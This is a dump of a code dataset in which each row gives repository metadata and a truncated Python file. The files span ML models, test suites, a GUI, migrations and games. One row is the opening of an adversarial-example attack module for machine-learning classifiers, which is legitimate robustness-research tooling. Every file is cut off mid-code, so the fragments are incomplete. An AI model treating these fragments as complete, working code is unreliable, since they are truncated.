hexsha
stringlengths
40
40
size
int64
2
1.02M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
2
1.02M
avg_line_length
float64
1
958k
max_line_length
int64
1
987k
alphanum_fraction
float64
0
1
content_no_comment
stringlengths
0
1.01M
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
f7774a37af1c837d5f4ac1ba41ee7f9dd01e912a
1,522
py
Python
models/siamese_neural_network.py
RobinRojowiec/intent-recognition-in-doctor-patient-interviews
b91c7a9f3ad70edd0f39b56e3219f48d1fcf2078
[ "Apache-2.0" ]
null
null
null
models/siamese_neural_network.py
RobinRojowiec/intent-recognition-in-doctor-patient-interviews
b91c7a9f3ad70edd0f39b56e3219f48d1fcf2078
[ "Apache-2.0" ]
null
null
null
models/siamese_neural_network.py
RobinRojowiec/intent-recognition-in-doctor-patient-interviews
b91c7a9f3ad70edd0f39b56e3219f48d1fcf2078
[ "Apache-2.0" ]
1
2021-11-24T18:48:47.000Z
2021-11-24T18:48:47.000Z
import random import torch import torch.nn as nn from models.cnn_layer import CNNLayer from utility.model_parameter import ModelParameter, Configuration class SiameseNeuralNetwork(nn.Module): def __init__(self, config: Configuration, label_count=64, device=torch.device('cpu'), *args, **kwargs): super(Si...
36.238095
111
0.674113
import random import torch import torch.nn as nn from models.cnn_layer import CNNLayer from utility.model_parameter import ModelParameter, Configuration class SiameseNeuralNetwork(nn.Module): def __init__(self, config: Configuration, label_count=64, device=torch.device('cpu'), *args, **kwargs): super(Si...
true
true
f7774a6de277ed413a033e1e2aa6f540573f275b
31,292
py
Python
onmt/opts.py
oserikov/opennmt-inspection
0686a43aceb2620272ecda44ad08ba3bc9cb6e9b
[ "MIT" ]
null
null
null
onmt/opts.py
oserikov/opennmt-inspection
0686a43aceb2620272ecda44ad08ba3bc9cb6e9b
[ "MIT" ]
null
null
null
onmt/opts.py
oserikov/opennmt-inspection
0686a43aceb2620272ecda44ad08ba3bc9cb6e9b
[ "MIT" ]
null
null
null
#!/usr/bin/env python """ Implementation of all available options """ from __future__ import print_function import argparse from onmt.models.sru import CheckSRU def model_opts(parser): """ These options are passed to the construction of the model. Be careful with these as they will be used during transla...
51.214403
88
0.576793
from __future__ import print_function import argparse from onmt.models.sru import CheckSRU def model_opts(parser): group = parser.add_argument_group('Model-Embeddings') group.add_argument('-src_word_vec_size', type=int, default=500, help='Word embedding size for src.') group.a...
true
true
f7774aa737b583aac911df9061d12f48bce5e9a7
1,365
py
Python
mathy_envs/gym/gym_complex_simplify.py
mathy/mathy_envs
41d82cca881ff9d3d3fe576d0e75100116a0e4da
[ "MIT" ]
1
2021-12-06T10:29:40.000Z
2021-12-06T10:29:40.000Z
mathy_envs/gym/gym_complex_simplify.py
mathy/mathy_envs
41d82cca881ff9d3d3fe576d0e75100116a0e4da
[ "MIT" ]
8
2020-09-06T17:17:22.000Z
2021-08-11T20:35:26.000Z
mathy_envs/gym/gym_complex_simplify.py
mathy/mathy_envs
41d82cca881ff9d3d3fe576d0e75100116a0e4da
[ "MIT" ]
null
null
null
from typing import Any from ..envs.complex_simplify import ComplexSimplify from ..types import MathyEnvDifficulty, MathyEnvProblemArgs from .mathy_gym_env import MathyGymEnv, safe_register class GymComplexTerms(MathyGymEnv): def __init__(self, difficulty: MathyEnvDifficulty, **kwargs: Any): super(GymComp...
31.744186
88
0.721612
from typing import Any from ..envs.complex_simplify import ComplexSimplify from ..types import MathyEnvDifficulty, MathyEnvProblemArgs from .mathy_gym_env import MathyGymEnv, safe_register class GymComplexTerms(MathyGymEnv): def __init__(self, difficulty: MathyEnvDifficulty, **kwargs: Any): super(GymComp...
true
true
f7774b5aca10c1db2d1dc812e02504bb5f5b3dd6
429
py
Python
11.py
anttuov/adventofcode-2017
36288be78479cc5309a59e09b6db87afcd4940cb
[ "MIT" ]
null
null
null
11.py
anttuov/adventofcode-2017
36288be78479cc5309a59e09b6db87afcd4940cb
[ "MIT" ]
null
null
null
11.py
anttuov/adventofcode-2017
36288be78479cc5309a59e09b6db87afcd4940cb
[ "MIT" ]
null
null
null
with open("inputs/11.txt") as f: myin = f.read() directions = myin.strip().split(",") x = 0 y = 0 movement = {"n": [0, -1], "ne": [1, -1], "se": [1, 0], "s": [0, 1], "sw": [-1, 1], "nw": [-1, 0]} maxsteps = 0 for d in directions: x += movement[d][0] y += movement[d][1] if maxsteps < max(abs(x), abs(y))...
25.235294
97
0.505828
with open("inputs/11.txt") as f: myin = f.read() directions = myin.strip().split(",") x = 0 y = 0 movement = {"n": [0, -1], "ne": [1, -1], "se": [1, 0], "s": [0, 1], "sw": [-1, 1], "nw": [-1, 0]} maxsteps = 0 for d in directions: x += movement[d][0] y += movement[d][1] if maxsteps < max(abs(x), abs(y))...
true
true
f7774d5c9070367d0e197458140616856e207335
706
py
Python
benchmarks/real/pnpl.py
SergioRAgostinho/cvxpnpl
eaa568594df0adcf0c70cc5288b24e5dc1fa9d2f
[ "Apache-2.0" ]
51
2019-07-25T18:42:44.000Z
2022-03-06T06:24:07.000Z
benchmarks/real/pnpl.py
SergioRAgostinho/cvxpnpl
eaa568594df0adcf0c70cc5288b24e5dc1fa9d2f
[ "Apache-2.0" ]
6
2019-05-08T17:03:54.000Z
2021-06-29T13:56:22.000Z
benchmarks/real/pnpl.py
SergioRAgostinho/cvxpnpl
eaa568594df0adcf0c70cc5288b24e5dc1fa9d2f
[ "Apache-2.0" ]
9
2019-08-13T15:56:47.000Z
2022-01-19T09:48:22.000Z
import numpy as np from toolkit.methods.pnpl import CvxPnPL, DLT, EPnPL, OPnPL from toolkit.suites import parse_arguments, PnPLReal from toolkit.datasets import Linemod, Occlusion # reproducibility is a great thing np.random.seed(0) np.random.seed(42) # parse console arguments args = parse_arguments() # Just a lo...
24.344828
82
0.763456
import numpy as np from toolkit.methods.pnpl import CvxPnPL, DLT, EPnPL, OPnPL from toolkit.suites import parse_arguments, PnPLReal from toolkit.datasets import Linemod, Occlusion np.random.seed(0) np.random.seed(42) args = parse_arguments() if args.load: session = PnPLReal.load(args.load) session.print(a...
true
true
f7774d69be273410dd99f06444bd698697d4311d
10,178
py
Python
official/recommendation/ncf_test.py
ujjaldas132/models
e13441ed200ce1bb204977e731508748bd0e0d14
[ "Apache-2.0" ]
15
2019-11-06T17:23:27.000Z
2021-07-17T16:03:01.000Z
official/recommendation/ncf_test.py
ujjaldas132/models
e13441ed200ce1bb204977e731508748bd0e0d14
[ "Apache-2.0" ]
6
2021-06-08T21:30:48.000Z
2022-03-12T00:29:00.000Z
official/recommendation/ncf_test.py
ujjaldas132/models
e13441ed200ce1bb204977e731508748bd0e0d14
[ "Apache-2.0" ]
13
2019-11-06T17:23:29.000Z
2019-11-29T13:03:07.000Z
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
39.449612
80
0.646394
from __future__ import absolute_import from __future__ import division from __future__ import print_function import math import unittest import mock import numpy as np import tensorflow as tf from official.recommendation import constants as rconst from official.recommendation import data_pipeline from official.reco...
true
true
f7774d7ef4c587382273002632528a3a0622b61d
609
py
Python
create_evaluator.py
christophstach/htw-icw2-implementation
9582d68690e77fbbf0828cb26e45389dfb82e026
[ "MIT" ]
null
null
null
create_evaluator.py
christophstach/htw-icw2-implementation
9582d68690e77fbbf0828cb26e45389dfb82e026
[ "MIT" ]
null
null
null
create_evaluator.py
christophstach/htw-icw2-implementation
9582d68690e77fbbf0828cb26e45389dfb82e026
[ "MIT" ]
null
null
null
from facenet_pytorch import InceptionResnetV1 from torchvision.models import inception_v3 def create_evaluator(model_name: str): model_dict = { "default": (lambda: (inception_v3(pretrained=True, aux_logits=False).eval(), 299, 1000)), "vggface2": (lambda: (InceptionResnetV1(pretrained="vggface2", c...
38.0625
117
0.692939
from facenet_pytorch import InceptionResnetV1 from torchvision.models import inception_v3 def create_evaluator(model_name: str): model_dict = { "default": (lambda: (inception_v3(pretrained=True, aux_logits=False).eval(), 299, 1000)), "vggface2": (lambda: (InceptionResnetV1(pretrained="vggface2", c...
true
true
f7774e6d8e6401df17f71bde84d6875c7a584f6e
2,072
py
Python
herbie/models/local.py
WToma/Herbie
1d48db9228b9ca6841868b484096491f4d191b00
[ "MIT" ]
67
2021-07-30T15:44:56.000Z
2022-03-28T13:14:53.000Z
herbie/models/local.py
djgagne/Herbie
7dad40d4f8e6398b4ecb357f6d8d20b310ebcbe6
[ "MIT" ]
30
2021-07-28T22:19:35.000Z
2022-03-21T18:35:28.000Z
herbie/models/local.py
djgagne/Herbie
7dad40d4f8e6398b4ecb357f6d8d20b310ebcbe6
[ "MIT" ]
11
2021-08-23T15:42:41.000Z
2022-02-24T13:48:50.000Z
## Added by Brian Blaylock ## September 30, 2021 """ ! Experimental This is a special case template for GRIB2 model data that is stored on your local machine rather than retrieving data from remote sources. Index files are assumed to be in the same directory as the file with ".idx" appended to the file name. If you d...
33.967213
189
0.648166
class my_model: def template(self): self.DESCRIPTION = "Local GRIB Files" self.DETAILS = { "local": "These GRIB2 files are from a locally-stored modeling experiments." } self.PRODUCTS = { "prs": "3D pressure level fields", } self...
true
true
f7774f9ac7337eebddfacc2b2b8e01dd0d624885
1,548
py
Python
Day 22/day22.py
ChristosHadjichristofi/advent-of-code
ffacb7f9e16d09b9b9c0041920538ca00aaec924
[ "MIT" ]
null
null
null
Day 22/day22.py
ChristosHadjichristofi/advent-of-code
ffacb7f9e16d09b9b9c0041920538ca00aaec924
[ "MIT" ]
null
null
null
Day 22/day22.py
ChristosHadjichristofi/advent-of-code
ffacb7f9e16d09b9b9c0041920538ca00aaec924
[ "MIT" ]
null
null
null
def day22_part1(instructions): grid = {} for instruction in instructions: if instruction["x_from"] < -50 or instruction["x_to"] > 50 \ or instruction["y_from"] < -50 or instruction["y_to"] > 50 \ or instruction["z_from"] < -50 or instruction["z_to"] > 50: cont...
37.756098
84
0.571059
def day22_part1(instructions): grid = {} for instruction in instructions: if instruction["x_from"] < -50 or instruction["x_to"] > 50 \ or instruction["y_from"] < -50 or instruction["y_to"] > 50 \ or instruction["z_from"] < -50 or instruction["z_to"] > 50: cont...
true
true
f77752a537a42d13aaccf34487f9ba42a54b7e28
2,061
py
Python
pylib/gna/bundles/root_histograms_v03.py
gnafit/gna
c1a58dac11783342c97a2da1b19c97b85bce0394
[ "MIT" ]
5
2019-10-14T01:06:57.000Z
2021-02-02T16:33:06.000Z
pylib/gna/bundles/root_histograms_v03.py
gnafit/gna
c1a58dac11783342c97a2da1b19c97b85bce0394
[ "MIT" ]
null
null
null
pylib/gna/bundles/root_histograms_v03.py
gnafit/gna
c1a58dac11783342c97a2da1b19c97b85bce0394
[ "MIT" ]
null
null
null
from load import ROOT as R import numpy as N from gna.env import env, namespace from collections import OrderedDict from mpl_tools.root2numpy import get_buffer_hist1, get_bin_edges_axis from gna.constructors import Histogram from gna.configurator import NestedDict from gna.grouping import Categories from gna.bundle i...
34.932203
108
0.590975
from load import ROOT as R import numpy as N from gna.env import env, namespace from collections import OrderedDict from mpl_tools.root2numpy import get_buffer_hist1, get_bin_edges_axis from gna.constructors import Histogram from gna.configurator import NestedDict from gna.grouping import Categories from gna.bundle i...
true
true
f777538f0fff564b0a2c8ee41ca20dc0a3d6f20c
4,046
py
Python
lib/python2.7/site-packages/setuptools/command/install_egg_info.py
vipulkanade/EventbriteDjango
075036563db1fe41fa7c5a541eda3999be328be0
[ "MIT" ]
2
2016-02-10T12:57:21.000Z
2019-09-14T19:02:14.000Z
lib/python2.7/site-packages/setuptools/command/install_egg_info.py
vipulkanade/EventbriteDjango
075036563db1fe41fa7c5a541eda3999be328be0
[ "MIT" ]
1
2018-08-12T01:31:47.000Z
2018-08-12T01:31:47.000Z
lib/python2.7/site-packages/setuptools/command/install_egg_info.py
vipulkanade/EventbriteDjango
075036563db1fe41fa7c5a541eda3999be328be0
[ "MIT" ]
1
2020-09-22T19:24:49.000Z
2020-09-22T19:24:49.000Z
from distutils import log, dir_util import os from setuptools.extern.six.moves import map from setuptools import Command from setuptools.archive_util import unpack_archive import pkg_resources class install_egg_info(Command): """Install an .egg-info directory for the package""" description = "Install an .e...
34
78
0.587741
from distutils import log, dir_util import os from setuptools.extern.six.moves import map from setuptools import Command from setuptools.archive_util import unpack_archive import pkg_resources class install_egg_info(Command): description = "Install an .egg-info directory for the package" user_options = [ ...
true
true
f77753b0f6552448a024f3ed99151e0398bac676
7,637
py
Python
tools_webrtc/network_emulator/network_emulator.py
wnpllrzodiac/webrtc_code_mirror
0e7b3a9dadc64266eba82b0fc1265b36b7794839
[ "BSD-3-Clause" ]
344
2016-07-03T11:45:20.000Z
2022-03-19T16:54:10.000Z
tools_webrtc/network_emulator/network_emulator.py
wnpllrzodiac/webrtc_code_mirror
0e7b3a9dadc64266eba82b0fc1265b36b7794839
[ "BSD-3-Clause" ]
46
2019-03-30T07:28:41.000Z
2022-03-25T06:08:47.000Z
tools_webrtc/network_emulator/network_emulator.py
wnpllrzodiac/webrtc_code_mirror
0e7b3a9dadc64266eba82b0fc1265b36b7794839
[ "BSD-3-Clause" ]
278
2016-04-26T07:37:12.000Z
2022-01-24T10:09:44.000Z
#!/usr/bin/env python # Copyright (c) 2012 The WebRTC project authors. All Rights Reserved. # # Use of this source code is governed by a BSD-style license # that can be found in the LICENSE file in the root of the source # tree. An additional intellectual property rights grant can be found # in the file PATENTS. ...
37.62069
80
0.618829
import ctypes import logging import os import subprocess import sys class NetworkEmulatorError(BaseException): def __init__(self, fail_msg, cmd=None, returncode=None, output=None, error=None): BaseException.__init__(sel...
true
true
f77754100923b0ee9fe2acaed5c9d60a7f2d9c64
1,611
py
Python
matsubara/tests/test_pure_dephasing.py
nwlambert/matsubara
859596d2112e8be540618164d067db79fc5f4e47
[ "MIT" ]
1
2020-04-02T08:24:20.000Z
2020-04-02T08:24:20.000Z
matsubara/tests/test_pure_dephasing.py
nwlambert/matsubara
859596d2112e8be540618164d067db79fc5f4e47
[ "MIT" ]
null
null
null
matsubara/tests/test_pure_dephasing.py
nwlambert/matsubara
859596d2112e8be540618164d067db79fc5f4e47
[ "MIT" ]
null
null
null
""" Tests for the pure dephasing analytical computations. """ import numpy as np from numpy.testing import (run_module_suite, assert_, assert_array_almost_equal, assert_raises) from matsubara.pure_dephasing import (pure_dephasing_integrand, pure_dephasin...
35.8
97
0.684047
import numpy as np from numpy.testing import (run_module_suite, assert_, assert_array_almost_equal, assert_raises) from matsubara.pure_dephasing import (pure_dephasing_integrand, pure_dephasing_evolution, pure_dephas...
true
true
f777546a81067a09dde733b6ced2d48a31b3ba94
1,156
py
Python
src/welcome_screen.py
Ermite28/cellular_automaton
9ef3bcdaac979388853a65ed4f50a6259529c67b
[ "MIT" ]
null
null
null
src/welcome_screen.py
Ermite28/cellular_automaton
9ef3bcdaac979388853a65ed4f50a6259529c67b
[ "MIT" ]
null
null
null
src/welcome_screen.py
Ermite28/cellular_automaton
9ef3bcdaac979388853a65ed4f50a6259529c67b
[ "MIT" ]
null
null
null
import pygame class WelcomeScreen(): def __init__(self, root): self.root = root font = pygame.font.SysFont('digitaltsplum', 70) img = font.render('Cellular Automaton', True,(81, 113, 165)) self.center_element(img, 40) def center_element(self, text_img: pygame.Surface, y:int): ...
33.028571
68
0.545848
import pygame class WelcomeScreen(): def __init__(self, root): self.root = root font = pygame.font.SysFont('digitaltsplum', 70) img = font.render('Cellular Automaton', True,(81, 113, 165)) self.center_element(img, 40) def center_element(self, text_img: pygame.Surface, y:int): ...
true
true
f77754d7ff5f4deb30b48f16bda5f362e22527b4
12,290
py
Python
senlin/tests/unit/api/openstack/v1/test_events.py
chenyb4/senlin
8b9ec31566890dc9989fe08e221172d37c0451b4
[ "Apache-2.0" ]
null
null
null
senlin/tests/unit/api/openstack/v1/test_events.py
chenyb4/senlin
8b9ec31566890dc9989fe08e221172d37c0451b4
[ "Apache-2.0" ]
null
null
null
senlin/tests/unit/api/openstack/v1/test_events.py
chenyb4/senlin
8b9ec31566890dc9989fe08e221172d37c0451b4
[ "Apache-2.0" ]
null
null
null
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed unde...
40.032573
77
0.597234
import mock import six from webob import exc from senlin.api.common import util from senlin.api.middleware import fault from senlin.api.openstack.v1 import events from senlin.common import exception as senlin_exc from senlin.common import policy from senlin.rpc import client as rpc_client from senlin.tests.unit.api i...
true
true
f777558518658e1c7957f513e67aa0d302e71588
2,337
py
Python
tools/efro/json.py
Dliwk/ballistica
eaff316b3c6203b2465c768c88c473c1478b492a
[ "MIT" ]
21
2021-03-29T05:49:35.000Z
2022-03-18T09:02:34.000Z
tools/efro/json.py
Dliwk/ballistica
eaff316b3c6203b2465c768c88c473c1478b492a
[ "MIT" ]
15
2021-04-10T11:08:09.000Z
2022-03-22T07:48:58.000Z
tools/efro/json.py
Dliwk/ballistica
eaff316b3c6203b2465c768c88c473c1478b492a
[ "MIT" ]
31
2021-03-29T05:54:57.000Z
2022-03-22T16:58:57.000Z
# Released under the MIT License. See LICENSE for details. # """Custom json compressor/decompressor with support for more data times/etc.""" from __future__ import annotations import datetime import json from typing import TYPE_CHECKING if TYPE_CHECKING: from typing import Any # Special attr we included for our...
32.013699
79
0.593068
from __future__ import annotations import datetime import json from typing import TYPE_CHECKING if TYPE_CHECKING: from typing import Any TYPE_TAG = '_xjtp' _pytz_utc: Any # but it is used by firestore client for its utc tzinfos. # (in which case it should be installed as a dependency anyway) try: import p...
true
true
f77756dbc908620fe4a11403013d23a6c589379b
6,206
py
Python
beetsplug/spotify.py
kareemallen/beets
393d404b6ec827ceaf971e709ecd018adb247f32
[ "MIT" ]
null
null
null
beetsplug/spotify.py
kareemallen/beets
393d404b6ec827ceaf971e709ecd018adb247f32
[ "MIT" ]
null
null
null
beetsplug/spotify.py
kareemallen/beets
393d404b6ec827ceaf971e709ecd018adb247f32
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import (division, absolute_import, print_function, unicode_literals) import re import webbrowser import requests from beets.plugins import BeetsPlugin from beets.ui import decargs from beets import ui from requests.exceptions import HTTPError class Spo...
34.865169
77
0.51418
from __future__ import (division, absolute_import, print_function, unicode_literals) import re import webbrowser import requests from beets.plugins import BeetsPlugin from beets.ui import decargs from beets import ui from requests.exceptions import HTTPError class SpotifyPlugin(BeetsPlugin):...
true
true
f77756dc6f17f1cc3b25f3022d349383364c24d3
29,461
py
Python
HyperLprGUI.py
wl1447215262/hyper
93cc5877e4a20f0bb6f5788510a590e658fc22b7
[ "Apache-2.0" ]
1,104
2016-07-11T11:20:32.000Z
2022-03-31T08:44:48.000Z
HyperLprGUI.py
wl1447215262/hyper
93cc5877e4a20f0bb6f5788510a590e658fc22b7
[ "Apache-2.0" ]
48
2017-04-12T06:01:07.000Z
2022-03-15T05:49:45.000Z
HyperLprGUI.py
wl1447215262/hyper
93cc5877e4a20f0bb6f5788510a590e658fc22b7
[ "Apache-2.0" ]
360
2016-07-11T11:20:34.000Z
2022-03-29T06:31:38.000Z
""" Author: youngorsu Email : zhiyongsu@qq.com Last edited: 2018.1.29 """ # coding=utf-8 import sys import os from PyQt5.QtWidgets import ( QMainWindow, QLabel, QLineEdit, QPushButton, QHBoxLayout, QVBoxLayout, QGridLayout, QTableWidget, QWidget, QAbstractItemView, QHeaderV...
37.057862
134
0.608907
import sys import os from PyQt5.QtWidgets import ( QMainWindow, QLabel, QLineEdit, QPushButton, QHBoxLayout, QVBoxLayout, QGridLayout, QTableWidget, QWidget, QAbstractItemView, QHeaderView, QGraphicsView, QGraphicsScene, QGraphicsPixmapItem, QSplitter, Q...
true
true
f777572d704454f6cad237c8bf2162de6849d4e2
1,193
py
Python
setup.py
saromanov/jump
5087ecb70c553fd8ac0e75b382155d9c99f90be8
[ "MIT" ]
1
2019-05-06T18:48:19.000Z
2019-05-06T18:48:19.000Z
setup.py
saromanov/jump
5087ecb70c553fd8ac0e75b382155d9c99f90be8
[ "MIT" ]
null
null
null
setup.py
saromanov/jump
5087ecb70c553fd8ac0e75b382155d9c99f90be8
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import setuptools import textwrap version = "1.0" if __name__ == "__main__": setuptools.setup( name="jams", version=version, description="Consistent hashing algorithm", author="Sergey Romanov", author_email="xxsmotur@gmail.com"...
30.589744
58
0.543168
import setuptools import textwrap version = "1.0" if __name__ == "__main__": setuptools.setup( name="jams", version=version, description="Consistent hashing algorithm", author="Sergey Romanov", author_email="xxsmotur@gmail.com", long_description=textwrap.dedent("""...
true
true
f777578e4aea8a0bedb4a2f49e26fafb61ae635c
940
py
Python
alembic/versions/30108f70cb3b_include_ml_flag_field_and_language_.py
HBernigau/StackOverflowAnalysis
42dae7c0c23fcdeca23f8c770ad17b2eb341d091
[ "MIT" ]
null
null
null
alembic/versions/30108f70cb3b_include_ml_flag_field_and_language_.py
HBernigau/StackOverflowAnalysis
42dae7c0c23fcdeca23f8c770ad17b2eb341d091
[ "MIT" ]
null
null
null
alembic/versions/30108f70cb3b_include_ml_flag_field_and_language_.py
HBernigau/StackOverflowAnalysis
42dae7c0c23fcdeca23f8c770ad17b2eb341d091
[ "MIT" ]
null
null
null
"""include ml-flag field and language detection Revision ID: 30108f70cb3b Revises: 72901249ace9 Create Date: 2021-01-21 16:23:27.650967 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '30108f70cb3b' down_revision = '72901249ace9' branch_labels = None depends_on...
30.322581
113
0.717021
from alembic import op import sqlalchemy as sa revision = '30108f70cb3b' down_revision = '72901249ace9' branch_labels = None depends_on = None def upgrade(): op.add_column('page_meta_info', sa.Column('ml_tag', sa.Integer(), nullable=True), schema='so_ana_doc_worker') op.add_column('post_results', sa.Col...
true
true
f77757bacaf6e115f394414f6fc46bdee4400276
2,939
py
Python
gamestonk_terminal/stocks/dark_pool_shorts/sec_view.py
b17z/GamestonkTerminal
135eedb8d995fd10baff6283de525e8a4d124cae
[ "MIT" ]
1
2022-02-18T04:02:52.000Z
2022-02-18T04:02:52.000Z
gamestonk_terminal/stocks/dark_pool_shorts/sec_view.py
b17z/GamestonkTerminal
135eedb8d995fd10baff6283de525e8a4d124cae
[ "MIT" ]
null
null
null
gamestonk_terminal/stocks/dark_pool_shorts/sec_view.py
b17z/GamestonkTerminal
135eedb8d995fd10baff6283de525e8a4d124cae
[ "MIT" ]
null
null
null
""" SEC View """ __docformat__ = "numpy" import logging import os from typing import List, Optional from datetime import datetime, timedelta import pandas as pd from matplotlib import pyplot as plt from gamestonk_terminal.config_terminal import theme from gamestonk_terminal.decorators import log_start_end from games...
26.241071
84
0.642395
__docformat__ = "numpy" import logging import os from typing import List, Optional from datetime import datetime, timedelta import pandas as pd from matplotlib import pyplot as plt from gamestonk_terminal.config_terminal import theme from gamestonk_terminal.decorators import log_start_end from gamestonk_terminal.hel...
true
true
f7775995a6f5ca03ced0a29572046a978185a844
28,413
py
Python
art/attacks/evasion/auto_projected_gradient_descent.py
monshri/adversarial-robustness-toolbox
6465240cb6a71bc376dae52459a7133e403df8d2
[ "MIT" ]
3
2022-03-15T17:54:15.000Z
2022-03-30T09:52:55.000Z
art/attacks/evasion/auto_projected_gradient_descent.py
monshri/adversarial-robustness-toolbox
6465240cb6a71bc376dae52459a7133e403df8d2
[ "MIT" ]
106
2021-02-01T03:56:24.000Z
2022-03-28T07:14:52.000Z
art/attacks/evasion/auto_projected_gradient_descent.py
monshri/adversarial-robustness-toolbox
6465240cb6a71bc376dae52459a7133e403df8d2
[ "MIT" ]
1
2021-01-24T14:57:57.000Z
2021-01-24T14:57:57.000Z
# MIT License # # Copyright (C) The Adversarial Robustness Toolbox (ART) Authors 2020 # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated # documentation files (the "Software"), to deal in the Software without restriction, including without limitation the # r...
47.752941
120
0.53289
import logging import math from typing import Optional, Union, TYPE_CHECKING import numpy as np from tqdm.auto import trange from art.config import ART_NUMPY_DTYPE from art.attacks.attack import EvasionAttack from art.estimators.estimator import BaseEstimator, LossGradientsMixin from art.estimators.classification.cla...
true
true
f7775a1d8f8554156c7383717d0e23ca10d21b07
4,910
py
Python
python/detect.py
sugyan/image-dataset
2d0190714048cbc3750e3bb3609294f42170bcb9
[ "Apache-2.0" ]
2
2020-01-20T08:18:14.000Z
2020-07-07T19:34:36.000Z
python/detect.py
sugyan/image-dataset
2d0190714048cbc3750e3bb3609294f42170bcb9
[ "Apache-2.0" ]
null
null
null
python/detect.py
sugyan/image-dataset
2d0190714048cbc3750e3bb3609294f42170bcb9
[ "Apache-2.0" ]
null
null
null
import argparse import logging import math import cv2 import dlib import numpy as np class Detector(): def __init__(self, datafile='shape_predictor_68_face_landmarks.dat', verbose=False): logging.basicConfig(format='%(asctime)s %(levelname)s %(message)s') self.logger = logging.getLogger(__name__) ...
37.480916
95
0.572301
import argparse import logging import math import cv2 import dlib import numpy as np class Detector(): def __init__(self, datafile='shape_predictor_68_face_landmarks.dat', verbose=False): logging.basicConfig(format='%(asctime)s %(levelname)s %(message)s') self.logger = logging.getLogger(__name__) ...
true
true
f7775ac529e85dfb0c0b219691e3119c71748160
1,338
py
Python
nicos_batan/dn3/setups/detector.py
ess-dmsc/nicos
755d61d403ff7123f804c45fc80c7ff4d762993b
[ "CC-BY-3.0", "Apache-2.0", "CC-BY-4.0" ]
1
2021-03-26T10:30:45.000Z
2021-03-26T10:30:45.000Z
nicos_batan/dn3/setups/detector.py
ess-dmsc/nicos
755d61d403ff7123f804c45fc80c7ff4d762993b
[ "CC-BY-3.0", "Apache-2.0", "CC-BY-4.0" ]
91
2020-08-18T09:20:26.000Z
2022-02-01T11:07:14.000Z
nicos_batan/dn3/setups/detector.py
ess-dmsc/nicos
755d61d403ff7123f804c45fc80c7ff4d762993b
[ "CC-BY-3.0", "Apache-2.0", "CC-BY-4.0" ]
3
2020-08-04T18:35:05.000Z
2021-04-16T11:22:08.000Z
description = 'Simulated DN3 instrument' group = 'lowlevel' devices = dict( mon = device('nicos.devices.generic.VirtualCounter', description = 'Simulated Monitor Detector', fmtstr = '%d', type = 'monitor', lowlevel = True, ), tim = device('nicos.devices.generic.VirtualTimer...
26.235294
64
0.55157
description = 'Simulated DN3 instrument' group = 'lowlevel' devices = dict( mon = device('nicos.devices.generic.VirtualCounter', description = 'Simulated Monitor Detector', fmtstr = '%d', type = 'monitor', lowlevel = True, ), tim = device('nicos.devices.generic.VirtualTimer...
true
true
f7775ade78c7d579593e5821d546997f1e992d8d
9,385
py
Python
tests/datasource/test_pandas_datasource.py
louispotok/great_expectations
b91a3ce10f771742f49ccad9c403bda03f318515
[ "Apache-2.0" ]
null
null
null
tests/datasource/test_pandas_datasource.py
louispotok/great_expectations
b91a3ce10f771742f49ccad9c403bda03f318515
[ "Apache-2.0" ]
null
null
null
tests/datasource/test_pandas_datasource.py
louispotok/great_expectations
b91a3ce10f771742f49ccad9c403bda03f318515
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import pytest import os from ruamel.yaml import YAML import pandas as pd from six import PY3 import shutil from great_expectations.exceptions import BatchKwargsError from great_expectations.datasource import PandasDatasource from great_expectations.datasource.types.batch_kwargs import ( ...
46.925
118
0.667342
import pytest import os from ruamel.yaml import YAML import pandas as pd from six import PY3 import shutil from great_expectations.exceptions import BatchKwargsError from great_expectations.datasource import PandasDatasource from great_expectations.datasource.types.batch_kwargs import ( PathBatchKwargs, Ba...
true
true
f7775aed9a712140f15e3b49862c5f1de5d354ea
3,292
py
Python
mastermind/game.py
tuvo1106/reach_mastermind
393169d4e14cd8f8566292acc5f0be945ca69536
[ "MIT" ]
1
2021-04-09T07:42:01.000Z
2021-04-09T07:42:01.000Z
mastermind/game.py
tuvo1106/mastermind
393169d4e14cd8f8566292acc5f0be945ca69536
[ "MIT" ]
null
null
null
mastermind/game.py
tuvo1106/mastermind
393169d4e14cd8f8566292acc5f0be945ca69536
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 from mastermind.board import Board from mastermind.player import Player from mastermind.user_interface import UserInterface from mastermind.utils.timer import Timer class Game: """ Game class. """ def __init__(self): """ Game constructor. """ se...
31.056604
76
0.57017
from mastermind.board import Board from mastermind.player import Player from mastermind.user_interface import UserInterface from mastermind.utils.timer import Timer class Game: def __init__(self): self.ui = UserInterface() self.board = None self.player_one = None self.player_two ...
true
true
f7775b2c3619fde930f446657ad6a4e0e98f812c
93,416
py
Python
